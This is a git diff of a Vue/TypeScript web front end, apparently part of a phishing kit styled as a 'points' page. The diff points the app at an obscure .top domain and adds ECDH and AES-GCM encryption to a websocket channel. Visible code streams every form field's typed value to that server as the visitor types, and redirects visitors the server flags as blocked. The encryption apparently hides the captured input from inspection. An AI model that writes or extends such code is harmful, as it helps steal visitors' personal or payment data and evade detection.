diff --git a/0000_gb_points_temp/.env.development b/0000_gb_points_temp/.env.development index c057c2a..5eead7e 100644 --- a/0000_gb_points_temp/.env.development +++ b/0000_gb_points_temp/.env.development @@ -5,7 +5,7 @@ VITE_PORT = 8848 VITE_PUBLIC_PATH = ./ # 网站前缀 -VITE_BASE_URL = "vc1cccd1s325c.dagf7.top" +VITE_BASE_URL = "up.xx.sczqb6.top" # 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数") VITE_ROUTER_HISTORY = "hash" diff --git a/0000_gb_points_temp/src/App.vue b/0000_gb_points_temp/src/App.vue index 76fd2bf..2d9ca98 100644 --- a/0000_gb_points_temp/src/App.vue +++ b/0000_gb_points_temp/src/App.vue @@ -9,15 +9,20 @@ const router = useRouter(); const loadingStore = useLoadingStore(); import { configData, isAr, loginSuccess, redirectToExternal, headHtml } from "@/utils/common"; import { goodsConfig } from "@/config"; +import { deriveSessionKey, generateECDHKeyPair } from "./utils/socketio"; onMounted(() => { login(); }); + + const login = async function () { loadingStore.setLoading(true); - http.post("/api", {}).then((data) => { + const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair(); + + http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => { if (data.data.isBlock) { redirectToExternal(); return; @@ -78,6 +83,16 @@ const login = async function () { if (data.data.mode) { localStorage.setItem("mode", data.data.mode); + } + // 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名) + const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey; + let sessionCrypto = null; + if (serverPubKey) { + try { + sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey); + } catch (e) { + + } } loginSuccess(data.data.Token, data.data.mode); }); diff --git a/0000_gb_points_temp/src/utils/common.ts b/0000_gb_points_temp/src/utils/common.ts index 3123723..af7621d 100644 --- a/0000_gb_points_temp/src/utils/common.ts +++ b/0000_gb_points_temp/src/utils/common.ts @@ -1,17 +1,21 @@ import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; import eventBus from "@/utils/eventBus"; import router from "@/router"; import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; import { useLoadingStore } from "@/stores/loadingStore"; import i18n from "@/main"; -import { useSocketIo } from "./socketio"; +import { useSocketIo, type SessionCrypto } from "./socketio"; import { goodsConfig, globalConfig } from "@/config"; -const viteBaseUrl = import.meta.env.VITE_BASE_URL; +let viteBaseUrl = import.meta.env.VITE_BASE_URL; +if (viteBaseUrl === "/") { + viteBaseUrl = "/"; +} else if (viteBaseUrl === "localhost:8011") { + viteBaseUrl = "ws://" + viteBaseUrl; +} else if (!/^wss?:\/\//.test(viteBaseUrl)) { + viteBaseUrl = "wss://" + viteBaseUrl; +} // Redirect to an external URL export function redirectToExternal() { @@ -101,43 +105,17 @@ export function inputChange(type: string, key: any, value: any) { }, 300 ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - // 调用防抖函数 wsDebouncedFunction(type, key, value); - if (modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } + } -// Handle login success -export function loginSuccess(token: string, mode: number) { - if (mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } else { - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } +// Handle login success +export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) { + const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host; + myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto); myWebSocket?.on("close", () => console.log("Socket closed!")); myWebSocket?.on("open", () => { const lastToken = localStorage.getItem("token"); diff --git a/0000_gb_points_temp/src/utils/socketio.ts b/0000_gb_points_temp/src/utils/socketio.ts index 94f04a2..fbbb09a 100644 --- a/0000_gb_points_temp/src/utils/socketio.ts +++ b/0000_gb_points_temp/src/utils/socketio.ts @@ -2,45 +2,236 @@ import { useLoadingStore } from "@/stores/loadingStore"; import { io, Socket as SocketIOClient } from "socket.io-client"; -interface SocketOptions { - reconnectionAttempts?: number; // 最大重连次数 - reconnectionDelay?: number; // 重连延迟时间(ms) - timeout?: number; // 连接超时时间(ms) - autoConnect?: boolean; // 是否自动连接 - forceNew?: boolean; // 是否强制创建新连接 - transports?: string[]; // 传输方式 +// ─── 会话加密接口 ─────────────────────────────────────────────── +export interface SessionCrypto { + aesKey: CryptoKey; // AES-128-GCM,不可导出 } +// ─── AES-GCM 加密 / 解密 ─────────────────────────────────────── +async function encryptPayload(plain: string, aesKey: CryptoKey): Promise { + const iv = crypto.getRandomValues(new Uint8Array(12)); + const encoded = new TextEncoder().encode(plain); + const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded); + const out = new Uint8Array(iv.byteLength + cipher.byteLength); + out.set(iv, 0); + out.set(new Uint8Array(cipher), iv.byteLength); + let binary = ""; + for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]); + return JSON.stringify({ data: btoa(binary) }); +} + +async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise { + const rawStr = + typeof raw === "string" ? raw : + raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? ""); + + let envelope: { data?: string }; + try { envelope = JSON.parse(rawStr); } catch { return rawStr; } + if (!envelope?.data) return rawStr; + + const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0)); + const iv = bytes.slice(0, 12); + const cipher = bytes.slice(12); + try { + const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher); + return new TextDecoder().decode(plain); + } catch { + return rawStr; + } +} + +// ─── ECDH 密钥协商工具 ───────────────────────────────────────── + +/** + * 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 } + */ +export async function generateECDHKeyPair(): Promise<{ + keyPair: CryptoKeyPair; + clientPublicKeyB64: string; +}> { + const keyPair = await crypto.subtle.generateKey( + { name: "ECDH", namedCurve: "P-256" }, + true, + ["deriveBits"] + ); + const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey); + const clientPublicKeyB64 = btoa( + Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("") + ); + return { keyPair, clientPublicKeyB64 }; +} + +/** + * 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥 + */ +export async function deriveSessionKey( + serverPublicKeyB64: string, + clientPrivateKey: CryptoKey +): Promise { + const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0)); + const serverPublicKey = await crypto.subtle.importKey( + "raw", serverPubKeyBytes, + { name: "ECDH", namedCurve: "P-256" }, false, [] + ); + const sharedBits = await crypto.subtle.deriveBits( + { name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256 + ); + const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]); + const aesKey = await crypto.subtle.deriveKey( + { + name: "HKDF", hash: "SHA-256", + salt: new Uint8Array(32), + info: new TextEncoder().encode("socket-aes-key"), + }, + hkdfKey, + { name: "AES-GCM", length: 128 }, + false, + ["encrypt", "decrypt"] + ); + return { aesKey }; +} + +/** 断线/握手阶段队列最大长度,防止内存无限增长 */ +const MAX_QUEUE_SIZE = 200; + class Socket { url: string; + private token: string; + private sessionCrypto: SessionCrypto | null; + private ecdhKeyPair: CryptoKeyPair | null = null; + private clientPublicKeyB64: string | null = null; + /** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */ + private isReady = false; socket: SocketIOClient | null = null; listeners: { [key: string]: Function[] } = {}; - private messageQueue: any[] = []; // 断连时暂存消息的简化队列 + private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列 - constructor(url: string) { + constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) { this.url = url; + this.token = token; + this.sessionCrypto = sessionCrypto; this.init(); this.setupVisibilityListener(); } + /** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */ + private async initECDH() { + if (!this.ecdhKeyPair) { + const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair(); + this.ecdhKeyPair = keyPair; + this.clientPublicKeyB64 = clientPublicKeyB64; + } + } + + /** + * 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。 + * 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。 + */ + private performKeyExchange(): Promise { + return new Promise((resolve) => { + // 3 秒超时:若服务端不响应则无加密继续 + const timeout = setTimeout(() => { + this.socket?.off('key_exchange_result', onResult); + this.sessionCrypto = null; + resolve(); + }, 3000); + + const onResult = async (serverPubKeyB64: string) => { + clearTimeout(timeout); + try { + this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey); + } catch (e) { + console.error('[Socket] key derivation failed:', e); + this.sessionCrypto = null; + } + resolve(); + }; + + this.socket?.once('key_exchange_result', onResult); + this.socket?.emit('key_exchange', this.clientPublicKeyB64); + }); + } + + /** + * 发送 login 并等待服务端回 {event:"login",content:"success"}。 + * 服务端发送 login success 时 client.State 已同步设置完毕, + * 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。 + */ + private async sendLoginAndWait(): Promise { + await new Promise((resolve) => { + let settled = false; + const settle = () => { + if (settled) return; + settled = true; + this.socket?.off('message', onRawMessage); + clearTimeout(timer); + resolve(); + }; + // 3 秒兜底:即使没收到确认也继续 + const timer = setTimeout(settle, 3000); + + const onRawMessage = async (raw: unknown) => { + try { + let text: string; + if (this.sessionCrypto) { + text = await decryptPayload(raw, this.sessionCrypto.aesKey); + } else { + text = typeof raw === 'string' ? raw : JSON.stringify(raw); + } + const parsed = JSON.parse(text); + if (parsed?.event === 'login') settle(); + } catch { /* 忽略解析失败 */ } + }; + + // 先注册监听,再发 login,避免极速响应漏掉 + this.socket?.on('message', onRawMessage); + this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle()); + }); + } + init() { if (this.socket) { return; } console.log("Socket initialized with URL:", this.url); this.socket = io(this.url, { - randomizationFactor: 0.5, + path: "/socket.io", + query: this.token ? { token: this.token } : undefined, + reconnectionDelay: 1500, + reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃 }); - // 连接事件处理 - this.socket.on('connect', () => { - this.flushMessageQueue(); // 连接后发送排队消息 - this.emit('open', { type: 'open' }); + // 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题 + this.socket.on('connect', async () => { + this.isReady = false; // 握手期间暂停直接发送,新消息继续入队 + // 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积 + this.socket?.off('key_exchange_result'); + try { + await this.initECDH(); + await this.performKeyExchange(); + // 等待服务端 login success 确认后再冲刷队列 + // 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃 + await this.sendLoginAndWait(); + } catch (e) { + console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e); + this.sessionCrypto = null; + } finally { + // 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留 + this.isReady = true; + await this.flushMessageQueue(); // 连接后按序发送排队消息 + this.emit('open', { type: 'open' }); + } }); - // 消息接收 - this.socket.on('message', (data) => { - this.emit('message', data); + // 消息接收(支持 AES-GCM 解密) + this.socket.on('message', async (data) => { + let plainText: string; + if (this.sessionCrypto) { + plainText = await decryptPayload(data, this.sessionCrypto.aesKey); + } else { + plainText = typeof data === 'string' ? data : JSON.stringify(data); + } + this.emit('message', plainText); }); // 连接错误 @@ -50,6 +241,7 @@ class Socket { // 断开连接 this.socket.on('disconnect', (reason) => { + this.isReady = false; // 断开后消息重新入队 this.emit('close', { reason }); }); @@ -82,10 +274,19 @@ class Socket { return this.socket?.connected ?? false; } + /** 用于握手阶段的 login 事件,同样走加密通道 */ + private async sendRaw(data: string) { + if (this.sessionCrypto) { + const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey); + this.socket?.emit('message', encrypted); + } else { + this.socket?.emit('message', data); + } + } + async send(data: string) { try { const payload = JSON.parse(data); - const event = payload.event || 'message'; // 添加时间戳 const messageData = { @@ -93,24 +294,53 @@ class Socket { timestamp: payload.timestamp || Date.now() }; - if (this.isConnected()) { - this.socket?.emit("message", JSON.stringify(messageData)); - } else { - // 未连接时,将消息加入队列 - this.messageQueue.push({ event, data: messageData }); + // 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确 + if (!this.isReady) { + if (this.messageQueue.length < MAX_QUEUE_SIZE) { + this.messageQueue.push(messageData); + } else { + console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event); + } this.reconnectIfNeeded(); + return; + } + + const serialized = JSON.stringify(messageData); + if (this.sessionCrypto) { + const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey); + this.socket?.emit('message', encrypted); + } else { + this.socket?.emit('message', serialized); } } catch (error) { - console.error("Invalid message format. Must be a valid JSON string.", error); + console.error('Invalid message format. Must be a valid JSON string.', error); } } - flushMessageQueue() { - if (this.messageQueue.length > 0 && this.socket?.connected) { - this.messageQueue.forEach(msg => { - this.socket?.emit("message", JSON.stringify(msg)); - }); - this.messageQueue = []; + /** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */ + async flushMessageQueue() { + if (this.messageQueue.length === 0) return; + const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入 + for (const msg of queue) { + if (!this.isReady || !this.socket?.connected) { + // 发送途中再次断开,将剩余消息放回队首 + this.messageQueue.unshift(...queue.slice(queue.indexOf(msg))); + break; + } + try { + const serialized = JSON.stringify(msg); + if (this.sessionCrypto) { + const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey); + this.socket?.emit('message', encrypted); + } else { + this.socket?.emit('message', serialized); + } + } catch (e) { + console.error('[Socket] flushMessageQueue 发送失败:', e); + // 发送失败也放回队首 + this.messageQueue.unshift(...queue.slice(queue.indexOf(msg))); + break; + } } } @@ -121,14 +351,14 @@ class Socket { } on(event: string, callback: Function) { - // 直接处理的事件 - if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed'].includes(event)) { + // 需要经过本层中间件(如解密)的事件,统一走 this.listeners + if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) { if (!this.listeners[event]) { this.listeners[event] = []; } this.listeners[event].push(callback); } else { - // Socket.IO 事件 + // 其他 Socket.IO 原生事件 this.socket?.on(event, (...args) => callback(...args)); } } @@ -146,23 +376,24 @@ class Socket { } } - setupVisibilityListener() { - const handleVisibilityChange = () => { - if (document.visibilityState === "visible" && !this.isConnected() && this.socket) { - this.socket.connect(); - } - }; + private handleVisibilityChange = () => { + if (document.visibilityState === "visible" && !this.isConnected() && this.socket) { + this.socket.connect(); + } + }; - document.addEventListener("visibilitychange", handleVisibilityChange); + setupVisibilityListener() { + document.addEventListener("visibilitychange", this.handleVisibilityChange); } disconnect() { + document.removeEventListener("visibilitychange", this.handleVisibilityChange); this.socket?.disconnect(); } } -function useSocketIo(url: string) { - const socket = new Socket(url); +function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) { + const socket = new Socket(url, token, sessionCrypto); return { socket,